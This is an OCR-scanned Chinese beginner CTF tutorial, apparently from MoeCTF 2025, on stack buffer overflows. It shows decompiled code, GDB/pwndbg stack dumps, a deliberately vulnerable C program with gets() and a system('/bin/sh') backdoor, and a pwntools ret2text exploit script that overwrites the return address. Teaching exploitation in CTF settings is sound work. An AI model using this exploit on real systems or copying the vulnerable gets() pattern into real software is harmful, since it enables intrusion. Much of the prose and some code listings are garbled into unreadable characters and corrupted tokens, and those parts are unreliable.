int  fastcall main(int argc, const char **argv, const char **envp)
{

__int64 v4; // [rsp+eh] [rbp-10h] BYREF

char s1[8]; // [rsp+8h] [rbp-8h] BYREF

puts("Now input something! Maybe I can give you a flag!");
gets(&va, argv);
8 if ( !strcmp(s1l, "YourFlag") )

b s T W Y N W N5 Ty 2

1
18 getflag();
11 puts({"\nI know u can do this!"};
12}
12 else
14 {
15 puts("\nNothing.");
16}
17 return @;
18 }

BATIRER R, IDA IEFPAT 1 Rgmi%, TR T — 13 C B9, SaTmm$d g5 iyl
HITATEL, BEBEIEAEZRTHEREE, main BEAHW flag 1 buf MAMFSEICERE
T, SNSRI RIXER s1[8] 5 v4, ERFAEEMAEENZE, BANRER 0
buf 22— char RAINECEH, XEHIHIN T _int64, MH gets HHIAHAE 15
B, RELER TS, BAnR b SEAMEa T, @ RERE n B RS,
PREESE y BEHCRR, IEJFE— MERIEARMES, HHATDIEE], B e BRI
M JLEMRE 1o ESAEEE PR A IR, T2 BTHEN: B2 AR,

int _ fastcall main(int argc, const char **argv, const char **envp)
{

char buf[8]; // [rsp+8h] [rbp-18h] BYREF

char flag[B8]; // [rsp+8h] [rbp-8h] BYREF

puts("MNow input something! Maybe I can give you a flag!"};
gets(buf);
if ( l!strcmp(flag, "YourFlag") )
{
getflag();
puts("\nI know u can do this!");
¥

else

1
puts("\nNothing.");

}

return 8;



N BATIF 32— FERFRYIZEE, BIEI gets 7] buf HHIT TIEL, Z G317 7 — 1A%,
ER flag MNAN YourFlag, MEHUT getflag BMEGKIS flag, FIRIMEIRELRA
X flag HATHIAN, XEELZBHIEHANAIE? [FR, gets A AKERA HATRRH,
—HIEEEHATR \n AELIE (EEETNE, —BEIBMNmARZEEL), HENKER
68, ZEAERTZIWE? £k, TS GDB TSR, WE— N HEs
TE| TR,

3. GDBIIR

B gdb . /pwn HIKIZFER

Copyright (C) 2022 Free Software Foundation, Inc.

License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>

This is free software: you are free to change and redistribute it.

There is NO WARRANTY, to the extent permitted by law.

Type "show copying" and "show warranty" for details.

This GDB was configured as "x86_sU-linux—-gnu"

Type "show configuration" for configuration details.

For bug reporting instructions, please see:

<https://www.gnu.org/software/gdb/bugs/>.

Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...

Reading symbols from ;
(No debugging symbols Found in

Pundbg sets the SIGLARM, SIGBUS, SIGPIPE and SIGSEGV signals so they are not passed to the app; see in s for ful
1 GDB signals configuration

& RBATR AR GDB WD, 1#d start B

& gdb

<http://wiw.gnu.org/software/gdb/docunentation/>. <« endbrél
3
For help, type "help". 0x403e18 (__do_global_dtors_aux_fini_array_entry) —> «= endbréd
Type "apropos word" to search for commands related to "wor
3uedb: *HOSTTYPE=x86_614"

od «— ' /mnt/d/pun/ctf/dasctf/mini/pwn®

«
Reading symbols rom pun. « endbréll
(No debugging symbols found in pun) Ox7c6f6d18a908 < OxdBO120000000e
— endbr6l
Pundbg sets the SIGLARM, SIGBUS, SIGPIPE and SIGSEGV signals so they are not passed to the app; see in R12 £ > mnt/d/pun/ct+/dasctf/mini/pun*
signals for full GDB signals configuration [E] <« endbrél
art Rl 0xu03el18 (__do_global_dtors_aux_fini_array_entry) -» « endbrél
Temporary breakpoint 1 at
R15 - -0
Temporary breakpoint 1, 0x0060080000461263 in main () RBP 7 0
q RSP
mnt, mini 5m 195 RIP < sub rsp, 0x10
> ~/.gdbinit
mnt, mini s - sub  rsp, 8x10 (OxTFFEU33F650 — Bx10)
> pun OxU01267 <main+l2>  lea  rax, [rip + Oxda2] 0x102010 Now input something! Maybe
I can give you a flag!"
Copyright (C) 2022 Free Software Foundation, Inc. Ox40126e <main+l9>  mov  rdi, rax ©x402010 <~ 'Now input something! Maybe
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> I can give you a flag!
This is free software: you are free to change and redistribute it. Oxu91271 <main+22>  call >
There is NO WARRANTY, to the extent permitted by law.
Type "show copying” and "show warranty" for details. OxU01276 <main+27>  lea ax, [rbp - 0x10]
This GDB was configured as "x86_6U-linux-gnu". OxU0127a <main+3l>  mov i, rax
Type "show configuration" for configuration details. OxU0127d <main+3U>  mov ax, 0
For bug reporting instructions, please see: OxU01282 <main+39>  call
<https: //mm .gnu. org/softuare/gdb/bugs/>
Find the GDB manual and other documentation resources online at: OxU01287 <main+tt>  lea ax, [rbp - 8]
<http://wiw.gnu.org/software/gdb/docunentation/>. OxU0128b <main+l8>  lea x, [rip + @xdbo] ©x4026U2 <~ 'Yourflag'
Ox01292 <main+55>  mov i
For help, type "help".
Type “apropos mord" to search for commands related to "word"... :0000| rbp rsp
10008 | +008 < mov edi, eax
:0010|+010
:0018|+018 endbréti
:0020|+020
Reading symbols from :0028|+028 0 c ' /mnt/d/pun/ctf/dasctf/mini/pwn
(No debugging symbols found in pun)
:0030|+030 3
Use the command to see all stack canary/cookie values on the stack (based on the *usual* stack :0038|+038 0x933e5ef7c68bdb3
canary value initialized by glibc
start 0xU01263 main+8
Temporary breakpoint 1 at 0x7c6£6ce29d90 __libc_start_call_main+128
Ox7c6f6ce29eld __libc_start_main+128
Tempararf( breakpoint 1, 0x8008080000461263 in main () Ox01135 _start+37
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REBE RGN & _EH pwndbg #iH THSEFFes, FHRERITEFPATEINMAE, PALYRwE
AER, NHEARFPINE, & FNHeERFWNERE, @i ni @2, HITERESHUT,
1E IDA HEATIEZER], buf #1 flag MHAT T rbp M EZ

char buf[8]; // [rsp+0h] [rbp-10h] BYREF
char flag[8]; // [rsp+8h] [rbp-8h] BYREF

AT gets B, TATET tele

pwndbg> tele rbp-0x10

00:0000| rdi rsp Ox7fff6433f640
01:0008|-008 0x7fff64331f648
02:0010| rbp 0x7fff6433f650
03:0018|+008 0x7fff6433f658
(__Tlibc_start_call_main+128) <«—
04:0020|+010 0x7fff6433f660
05:0028|+018 Ox7fff6433f668
06:0030|+020 0x7fff6433f670

E2BEE— N rbp-0x10 LHIANE

«— 0x1000

— 0x401110 (_start) <— endbro64
«— 1

—» 0x7c6f6ce29d90

mov edi, eax

«— 0

— 0x40125b (main) <«— endbro64
«— 0x16433f750

REBZF, UL rbp-0x10 LAY buf FINAJE 0x1000, 1M rbp-8 ZLHY flag HINEZ

0x401110, % FRIXAMTHEIX ni, AT gets

pwndbg> tele rbp-0x10
00:0000| rax rsp Ox7fff6433f640

01:0008|-008 Ox7fff6433f648
02:0010| rbp Ox7fff6433f650
03:0018|+008 Ox7fff6433f658
(__Tlibc_start_call_main+128) «—
04:0020|+010 0x7fff6433f660
05:0028|+018 Ox7fff6433f668
06:0030|+020 0x7fff6433f670

IR RE, MY rbp-0x10 Zb#f a B 1,

B, FFEIAL6T a, MR8 a KUK

«— 'aaaaaaaaaaaaaaaa'
'aaaaaaaa’

«— 0

— 0x7c6f6ce29d90

mov edi, eax

«— 0

— 0x40125b (main) <«— endbro64
«— 0x16433f750

<«—

rbp-8 ALK flag B RHKAI8N a B

T, XEERAE TR, HHZEMEHNE ox7FFf6433F640 Al Ml 0x7FFf6433f648,
WMEFATEE81 a BN YourFlag, fHEEX flag WARIETTH YourFlag, FERFFHmEK

DIHAT getflag BRIEL



BANEE run a2, EHPITIZER, HIA—X

pwndbg> run

Starting program: /mnt/d/pwn/ctf/dasctf/mini/pwn
[Thread debugging using Tibthread_db enabled]

Using host Tibthread_db 1ibrary "/Tib/x86_64-11inux-
gnu/libthread_db.so.1".

Now input something! Maybe I can give you a flag!
aaaaaaaaYourFlag

flag{Congratulations You get your first flag!}

I know u can do this!

S EERINERTG T flag.,

—/ME B ret2text

ETRZ—DNHEHRE ret2text LB, EIZERI, Regk—2 Ttk XA R, BA
% pwntools %,

P x86_64 GNU/Linux
// File: pwn.c

#include <stdio.h>
#include <stdlib.h>

void backdoor() { system("/bin/sh"); }

int main(void) {
char name[0x10];
puts("what's your name?");
gets(name);
printf("Hello, %s!\n", name);

return 0;


af://n314

BN AT A LRETARIE (8 CUMBRI, SBRRMA), BHEM char *gets(char ) Jf
SR,

$ gcc --ansi -no-pie -fno-stack-protector pwn.c -o pwn

2% MR, BB MER SXHEMN LA RE, BRI MEFE—aRSES Liafr, E4
RS, RUSZEITEIMITRE, HERIMRSEE, @

& i}
1. il checksec KA HLH

BR%d#E, ELf2 TRMEFXFE WURNIA FIERZER) . EREFE R RAT

$ checksec --file=pwn

, Hi G :

RELRO STACK CANARY NX PIE
Partial RELRO No canary found NX enabled No PIE

o AIDABE RIS X RS (Stack Canary) MM BILF R (PIE) 1#IME XM,
2. H IDA B4 [ G 342 Yk I il

K2+ IDA FinE (FRA]REFRER IR S MERINLH R N, XEAER), K

F| main BREL, 1% F5 REFEBARBIZETFEH - M SRERMASZTXKERN gets

PRI AT E, BRATTHE ] DUHA TR AR X i il RN FRATE 2] backdoor BREXZ

JAH— shell, XIEZBATEZER, HTREBH PIE, TREAFRKEHImRSFE A
(FRASHINE) BIR], 2N backdoor BRIZEHML,

FHRBAEFRTTANIER return, WINPT B 21 /CHTE FH 3 R 2N RAFER AR RY
IR Bk fR A AL B, (B2 T RRaRtaty R (=), msRFeS ARtk st
it (IEMD, HAERFPHAITIREOREIR B AR A T ik e R ER RO =2 ), Fr DOR B3
HE, TR AN AT BRI stk AL B A R A ER R B PR, gets(char *) TERAFRFEIN
"R ERE, ATDMEERERH, Kt FHESRER IS backdoor HIFT, HIS T I H
H BIREIHHERTE LR 1 ikfEE, RONRETCEN, HEEFESMAE S 8 M1,
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BT s R WAR A BBk 16 7 iXd5T (MuhEREWY 16 FEER), R DAtk bk st
(BE—1) ZEINKEATREREMEERN rbp. AREEIT TR K/ HiEHEH 5%
JERAIwAS, GEI AT DOEIE [ gnie 4l R A B 55 TR B B AR AR R HER O B

3. il GDB + pwndbg ik
TERRFTE H RXHUT (pwndbg> [XCHTRREF, SEFRAHIA)
$ gdb ./pwn

pwndbg> b gets
pwndbg> r

, flZ W, WIEE [ sTack 1 —1%, AIDAEZISATRIRF AR (71 GDB Hiihk =3 [RIBE
PULERAA B, (B TABICRN) |

v

00:0000| rsp oOx7fffffffd4a8 —» 0x40118f (main+35) <« lea rax,

[rbp - 10h]

01:0008| rax rdi Ox7fffffffd4b0 «— 0x0

02:0010|-008 Ox7fffffffd4b8 — Ox7fffffffd5e8 — Ox7fffffffda83
03:0018| rbp Ox7fffffffd4dc0 — Ox7fffffffd560 — Ox7fffffffd5cO
«— 0x0

04:0020|+008 Ox7fffffffd4dc8 — Ox7ffff7da7e08

(__Tibc_start_call_main+120) <« mov edi, eax

(HrAt - I« #RATHEEN CIES THRUIEEHET I FH, ox7fxxxx NtkHisl, RELFREF
¥o)

o 1sp+0x00: HFTtRIA, 7K gets PRELHTIREIHINE, (AEEE, Joikizdl)

o rsp+0x08: TF/X name Hi*f:, 25 102 (rdi FrfE), BIJRASH name, FHF %
AB A

o 1sp+0x10: 7K name J5F, ILIHYHE “hilk ik,

e rsp+0x18: 77 __Tlibc_start_call_main K%L (main AYEA ) AYYE AR
%iﬂ: (r'bp)o

o 1sp+0x20: 7K main FEGRBIHBAL,
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4. /il Python + pwntools %5 A

R FTE H % %w S Python ffIA

# File: pwnit.py

from pwn import * pwntools

io = process('./pwn") JE e

backdoor_address = ... NIAZK1SH " backdoor™ Hitik
backdoor_address += 1 ik

% " name”
HWE 7 rbp’

payload = cyclic(0x10)
payload += cyclic(0x8)

HOH OFH OH OH O H W H H

payload += p64(backdoor_address) BRIk
io.sendlineafter(b'?\n', payload) # fftE ~?\n  J5H A payload
io.interactive() R R

o TERFFIEHRAT

$ python pwnit.py

, H3) getshell, &

SERR FRFEEEH d0 = connect('<IP>', <iiill>) &t o0 = process('./pwn') DA
e (FHE T nc &8,

@ Note
backdoor_address += 1 2/ I5?

fRe] URAE XA THIZITER, BERaTiiA SIGSEGY (BKHEiR). 1X/Z Pwn #]
FHE DR IRIIY. H GDB iRia T (pwntools gdb BIREEFIEINK), BFIE
system PRELHRIXMELALART :

movaps xmmword ptr [rsp + 0x50], xmmO
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HE movaps fE2E K Hbrttitlk (HEAEH rsp + 0x50) 16 F1A5F (BECH 0)
S|, B BEFER AL +1, PR backdoor HH push rbp (ZfES Mg KJE 1
FNT) MIME rsp 16 F 1455,

RINHI R TT SE2 £ ROP A BEH A —4% gadget (X ret), fi rsp 16 Xt
%O

EEHRIANERZNXE, Pwn BERE—MEEAITIA M, TTKETERNR, BKAFTH
i, FESWIBRZEY:, HIEHEE, MOENAA2ERE, TIRT, REERCIRE! N
TEEBATHG R TNIR, BAMERRILPRM TRZ XE, #E,. DFE A8
YT, MEBRERZEA LRI, BN —%H Pwner, /KFEHIR, & HIEIRAEE
1E, B2 HAR RS, XDSEC FAREBIRIEEMEN, EAEEZR, KHELEN, &
5, BSFTE MoeCTF 2025 B5ik%, % MoeCTF R] DURSIUAZ &M CTF Ayt

ARSPA CC BY-SA 4.0 MR, (SHEZERYEEH5IH)
Ye&: rik (2024)
akzdj, RF (2025)
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